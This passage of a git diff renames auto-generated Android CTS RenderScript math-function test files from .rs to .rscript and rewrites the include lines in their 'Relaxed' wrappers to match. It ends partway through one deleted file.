diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeAsin.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeAsin.rscript
similarity index 100%
rename from tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeAsin.rs
rename to tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeAsin.rscript
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeAsinRelaxed.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeAsinRelaxed.rs
deleted file mode 100644
index 76527d8..0000000
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeAsinRelaxed.rs
+++ /dev/null
@@ -1,20 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
-
-#include "TestNativeAsin.rs"
-#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeAsinRelaxed.rscript b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeAsinRelaxed.rscript
new file mode 100644
index 0000000..d0fe687
--- /dev/null
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeAsinRelaxed.rscript
@@ -0,0 +1,20 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
+
+#include "TestNativeAsin.rscript"
+#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeAsinh.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeAsinh.rscript
similarity index 100%
rename from tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeAsinh.rs
rename to tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeAsinh.rscript
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeAsinhRelaxed.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeAsinhRelaxed.rs
deleted file mode 100644
index 9e4df93..0000000
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeAsinhRelaxed.rs
+++ /dev/null
@@ -1,20 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
-
-#include "TestNativeAsinh.rs"
-#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeAsinhRelaxed.rscript b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeAsinhRelaxed.rscript
new file mode 100644
index 0000000..bc01658
--- /dev/null
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeAsinhRelaxed.rscript
@@ -0,0 +1,20 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
+
+#include "TestNativeAsinh.rscript"
+#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeAsinpi.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeAsinpi.rscript
similarity index 100%
rename from tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeAsinpi.rs
rename to tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeAsinpi.rscript
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeAsinpiRelaxed.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeAsinpiRelaxed.rs
deleted file mode 100644
index f1ad731..0000000
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeAsinpiRelaxed.rs
+++ /dev/null
@@ -1,20 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
-
-#include "TestNativeAsinpi.rs"
-#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeAsinpiRelaxed.rscript b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeAsinpiRelaxed.rscript
new file mode 100644
index 0000000..e61fbd6
--- /dev/null
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeAsinpiRelaxed.rscript
@@ -0,0 +1,20 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
+
+#include "TestNativeAsinpi.rscript"
+#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeAtan.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeAtan.rscript
similarity index 100%
rename from tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeAtan.rs
rename to tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeAtan.rscript
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeAtan2.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeAtan2.rscript
similarity index 100%
rename from tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeAtan2.rs
rename to tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeAtan2.rscript
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeAtan2Relaxed.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeAtan2Relaxed.rs
deleted file mode 100644
index 9ec609d..0000000
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeAtan2Relaxed.rs
+++ /dev/null
@@ -1,20 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
-
-#include "TestNativeAtan2.rs"
-#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeAtan2Relaxed.rscript b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeAtan2Relaxed.rscript
new file mode 100644
index 0000000..3f4c67d
--- /dev/null
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeAtan2Relaxed.rscript
@@ -0,0 +1,20 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
+
+#include "TestNativeAtan2.rscript"
+#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeAtan2pi.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeAtan2pi.rscript
similarity index 100%
rename from tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeAtan2pi.rs
rename to tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeAtan2pi.rscript
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeAtan2piRelaxed.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeAtan2piRelaxed.rs
deleted file mode 100644
index e5773b1..0000000
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeAtan2piRelaxed.rs
+++ /dev/null
@@ -1,20 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
-
-#include "TestNativeAtan2pi.rs"
-#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeAtan2piRelaxed.rscript b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeAtan2piRelaxed.rscript
new file mode 100644
index 0000000..bc2279f
--- /dev/null
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeAtan2piRelaxed.rscript
@@ -0,0 +1,20 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
+
+#include "TestNativeAtan2pi.rscript"
+#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeAtanRelaxed.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeAtanRelaxed.rs
deleted file mode 100644
index c4a0fad..0000000
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeAtanRelaxed.rs
+++ /dev/null
@@ -1,20 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
-
-#include "TestNativeAtan.rs"
-#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeAtanRelaxed.rscript b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeAtanRelaxed.rscript
new file mode 100644
index 0000000..7218f72
--- /dev/null
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeAtanRelaxed.rscript
@@ -0,0 +1,20 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
+
+#include "TestNativeAtan.rscript"
+#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeAtanh.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeAtanh.rscript
similarity index 100%
rename from tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeAtanh.rs
rename to tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeAtanh.rscript
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeAtanhRelaxed.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeAtanhRelaxed.rs
deleted file mode 100644
index c5384fc..0000000
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeAtanhRelaxed.rs
+++ /dev/null
@@ -1,20 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
-
-#include "TestNativeAtanh.rs"
-#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeAtanhRelaxed.rscript b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeAtanhRelaxed.rscript
new file mode 100644
index 0000000..4e05950
--- /dev/null
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeAtanhRelaxed.rscript
@@ -0,0 +1,20 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
+
+#include "TestNativeAtanh.rscript"
+#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeAtanpi.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeAtanpi.rscript
similarity index 100%
rename from tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeAtanpi.rs
rename to tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeAtanpi.rscript
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeAtanpiRelaxed.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeAtanpiRelaxed.rs
deleted file mode 100644
index 66169ee..0000000
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeAtanpiRelaxed.rs
+++ /dev/null
@@ -1,20 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
-
-#include "TestNativeAtanpi.rs"
-#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeAtanpiRelaxed.rscript b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeAtanpiRelaxed.rscript
new file mode 100644
index 0000000..2719db1
--- /dev/null
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeAtanpiRelaxed.rscript
@@ -0,0 +1,20 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
+
+#include "TestNativeAtanpi.rscript"
+#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeCbrt.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeCbrt.rscript
similarity index 100%
rename from tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeCbrt.rs
rename to tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeCbrt.rscript
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeCbrtRelaxed.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeCbrtRelaxed.rs
deleted file mode 100644
index 522c6a5..0000000
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeCbrtRelaxed.rs
+++ /dev/null
@@ -1,20 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
-
-#include "TestNativeCbrt.rs"
-#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeCbrtRelaxed.rscript b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeCbrtRelaxed.rscript
new file mode 100644
index 0000000..87b9c77
--- /dev/null
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeCbrtRelaxed.rscript
@@ -0,0 +1,20 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
+
+#include "TestNativeCbrt.rscript"
+#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeCos.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeCos.rscript
similarity index 100%
rename from tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeCos.rs
rename to tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeCos.rscript
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeCosRelaxed.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeCosRelaxed.rs
deleted file mode 100644
index 3ab21d9..0000000
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeCosRelaxed.rs
+++ /dev/null
@@ -1,20 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
-
-#include "TestNativeCos.rs"
-#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeCosRelaxed.rscript b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeCosRelaxed.rscript
new file mode 100644
index 0000000..b04c067
--- /dev/null
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeCosRelaxed.rscript
@@ -0,0 +1,20 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
+
+#include "TestNativeCos.rscript"
+#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeCosh.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeCosh.rscript
similarity index 100%
rename from tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeCosh.rs
rename to tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeCosh.rscript
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeCoshRelaxed.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeCoshRelaxed.rs
deleted file mode 100644
index e549630..0000000
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeCoshRelaxed.rs
+++ /dev/null
@@ -1,20 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
-
-#include "TestNativeCosh.rs"
-#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeCoshRelaxed.rscript b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeCoshRelaxed.rscript
new file mode 100644
index 0000000..def42ea
--- /dev/null
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeCoshRelaxed.rscript
@@ -0,0 +1,20 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
+
+#include "TestNativeCosh.rscript"
+#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeCospi.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeCospi.rscript
similarity index 100%
rename from tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeCospi.rs
rename to tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeCospi.rscript
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeCospiRelaxed.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeCospiRelaxed.rs
deleted file mode 100644
index a37ecea..0000000
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeCospiRelaxed.rs
+++ /dev/null
@@ -1,20 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
-
-#include "TestNativeCospi.rs"
-#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeCospiRelaxed.rscript b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeCospiRelaxed.rscript
new file mode 100644
index 0000000..8225b32
--- /dev/null
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeCospiRelaxed.rscript
@@ -0,0 +1,20 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
+
+#include "TestNativeCospi.rscript"
+#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeDistance.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeDistance.rscript
similarity index 100%
rename from tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeDistance.rs
rename to tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeDistance.rscript
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeDistanceRelaxed.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeDistanceRelaxed.rs
deleted file mode 100644
index 0d2770b..0000000
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeDistanceRelaxed.rs
+++ /dev/null
@@ -1,20 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
